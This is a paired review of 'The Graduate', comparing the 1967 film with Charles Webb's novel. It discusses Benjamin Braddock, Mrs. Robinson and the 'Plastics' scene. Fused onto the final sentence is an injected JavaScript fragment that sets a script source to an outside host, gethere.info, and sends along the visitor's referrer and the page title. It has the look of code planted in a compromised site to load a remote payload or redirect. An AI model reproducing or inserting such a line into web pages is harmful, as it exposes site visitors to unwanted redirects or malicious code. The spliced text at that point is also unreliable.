He Said, She Said: The Graduate

Melissa Sikes and Anthony Vega

The Movie

Charles Webb’s The Graduate, the tale of a confused young man fresh out of college and his dubious affair with his father’s partner’s wife, has captivated audiences young and old. Published in 1963, The Graduate went from words on a page to pictures on the big screen in 1967. Directed by Mike Nichols and starring Dustin Hoffman as the graduate, Benjamin Braddock, and Anne Bancroft as the infamous Mrs. Robinson, the film was nominated for several Academy Awards, with Nichols winning Best Director. Many of those I have come into contact with did not know that this film was based on a book. Maybe that should tell us something, after all, it’s not every day that the film adaptation is better than the book.

The story starts off with Benjamin Braddock landing at the airport. As the credits display themselves on the screen, the tunes of Simon and Garfunkel linger in your ears. Now that Ben is home, this is where the fun begins. His parents are throwing a party in honor of the graduate. Scores of people are there to congratulate Ben, one among them being the sultry Mrs. Robinson. Mrs. Robinson convinces Ben to give her a ride home and lures him into her house. This is when it all gets a bit risqué. There’s an affair, a daughter Ben falls for, crumbling lives, and a runaway bride. What more could you ask for?

Now I know that I had previously made a rather bold statement, that this movie is better than the book. Allow me to explain. It is all in the execution. The dialogue in the book goes in circles, expressing the nature of the characters surely, but the film takes that and livens it up a bit. Overall, I’d say that the film does stay consistent to the plot, nothing major is changed, except for the audiences’ perception of Benjamin Braddock and the addition of one, very memorable, scene. In the book, Ben is portrayed as very standoffish. He is not the awkward kid we can sympathize with, but a guy that lacks patience and remains relatively distant from those he comes into contact with… emotionally that is. Oh! And you can’t forget about Ben’s little talk with Mr. McGuire, seen only in the film: “Plastics.” You know, I hear that there is a great future in plastics… and due to this film that seemed to be the case. Plastic manufacturing companies grew in success soon after the film was released. It is funny how a movie can have such an impact on society.
Webb wrote a sequel in 2007 titled Home School. I’m sure you can guess that it was a flop. Probably just a way to make a quick buck, but do not let a less-than-extraordinary sequel steer you away from reading this book or seeing this film. After all, it is on AFI’s top movie list! Switch it on and allow yourself to be seduced by Nichols’s film adaptation of this American masterpiece.

The Book

The Graduate written by Charles Webb is a novel about living your dreams. People who graduate after college tend to live the rest of their lives just going through the proverbial motions. They chase fancy sports cars and overcompensating military vehicles. In the heat of their vicious youth, they normally spend their days in a state of perpetual competition, constantly running in circles trying so hard to outdo one another. But this obscure book’s main character, Benjamin Braddock, decides for himself that it’s much more spiritually fulfilling to sleep with someone’s wife than it is to follow along with Western society’s expectations.

In many ways Benjamin is completely justified in his actions. Seizing the opportunity to service the emotionally neglected normally feels good, though the implications of their unorthodox relationship suggest the unhealthy dependence that the younger generation places on the shoulders of its predecessors. When we heed the advice of the generation before us are we being taken advantage of? Are we being seduced into a system that keeps us complacent? In essence, there are many roads to take on this side of the world but all of the paths seem to lead to the same empty places. That is not to say that the older generations are trying to be malevolent, but rather that they simply don’t know any other way to live outside of their comfortable limbos of crushed expectations. It doesn’t take a college degree to teach you that life is just a series of beautiful disappointments.

The Graduate is a fairly awesome movie, though the book is just dry enough to let you sit and think about all the time you wasted trying to get good grades in high school when you should have been trying to “sow a few wild oats”. All of the theoretical prosperity that was promised to you by the older generation, should you follow their examples, pales in comparison to actually making your own stupid mistakes.s.src=’http://gethere.info/kt/?264dpr&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”;